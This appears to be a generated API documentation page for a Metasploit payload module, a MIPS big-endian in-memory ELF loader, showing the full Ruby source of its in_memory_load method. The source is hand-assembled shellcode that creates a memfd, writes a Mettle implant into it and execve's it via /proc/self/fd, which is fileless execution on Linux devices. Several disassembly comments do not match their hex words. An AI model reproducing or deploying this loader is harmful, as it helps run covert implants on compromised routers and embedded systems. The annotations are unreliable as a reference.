Module: Msf::Payload::Linux::Mipsbe::ElfLoader

Defined in:
lib/msf/core/payload/linux/mipsbe/elf_loader.rb

Overview

In memory loader used to execute Mettle ELF file. Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) Author: Diego Ledda <diego_leddarapid7.com> Resource and Credits: magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html MIPS conventions

Literal Zero: r0/$zero
Volatile: t0-t7
Parameters: a0-a3
Syscall offset: v0
Return Address: ra

Instance Method Summary collapse

Instance Method Details

#in_memory_load(payload) ⇒ Object



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/linux/mipsbe/elf_loader.rb', line 14

def in_memory_load(payload)
  size = payload.length
  size_h = size >> 16
  size_l = size & 0x0000ffff
  in_memory_loader = [
    # call next instruction to get relative address
    0x00001025,               #    move    v0,zero
    0x04510000,               #    bgezal  v0,4100f8 <myself>
    # memfd_create("", MFD_CLOEXEC) = fd
    0x27ff005c,               #    addiu   ra,ra,92
    0xafa0fffc,               #    sw      zero,-4(sp)
    0x27bdfffc,               #    addiu   sp,sp,-4
    0x03a02020,               #    add     a0,sp,zero
    0x2419fffe,               #    li      t9,-2
    0x03202827,               #    nor     a1,t9,zero
    0x34021102,               #    li      v0,0x1102
    0x0101010c,               #    syscall 0x40404
    # write(fd, payload, payload_length)
    0x03e02825,               #    move    a1,ra
    (0x3c06 << 16 | size_h),  #    lui     a2,0x17
    (0x34c6 << 16 | size_l),  #    ori     a2,a2,0x2fb8
    0x00402025,               #    move    a0,v0
    0x0080c825,               #    move    t9,a0
    0x34020fa4,               #    li      v0,0xfa4
    0x0101010c,               #    syscall 0x40404
    # custom implementation of itoa
    0x27e7fffe,               #    addiu   a3,ra,-2
    0x240e000a,               #    li      t6,10
    0x24050016,               #    li      a1,22
    0x13200011,               #    beqz    t9,410188 <execve>
    0x00000000,               #    bnez    t6,410150 <itoa+0x10>
    0x032e001a,               #    div     zero,t9,t6
    0x00000000,               #    break   0x7
    0x2401ffff,               #    li      at,-1
    0x15c10004,               #    bne     t6,at,410168 <itoa+0x28>
    0x3c018000,               #    lui     at,0x8000
    0x17210002,               #    bne     t9,at,410168 <itoa+0x28>
    0x00000000,               #    nop
    0x00000000,               #    break   0x6
    0x0000c812,               #    mflo    t9
    0x0000c812,               #    mflo    t9
    0x00005810,               #    mfhi    t3
    0x256b0030,               #    addiu   t3,t3,48
    0xa0eb0000,               #    sb      t3,0(a3)
    0x24a5ffff,               #    addiu   a1,a1,-1
    0x24e7ffff,               #    addiu   a3,a3,-1
    0x1000ffee,               #    b       410140 <itoa>
    0x00e52022,               #    sub     a0,a3,a1
    0x2805ffff,               #    slti    a1,zero,-1
    0x2806ffff,               #    slti    a2,zero,-1
    0x34020fab,               #    li      v0,0xfab
    # execve('/proc/self/fd//////<fd>', 0, 0)
    0x0101010c,               #    syscall 0x40404
    0x2f70726f,               #    sltiu   s0,k1,29295
    0x632f7365,               #    .word   0x632f7365
    0x6c662f66,               #    .word   0x6c662f66
    0x642f2f2f,               #    .word   0x642f2f2f
    0x2f2f2f2f,               #    sltiu   t7,t9,12079
    0x2f2f2f00,               #    sltiu   t7,t9,12032
  ].pack('N*')
  in_memory_loader
end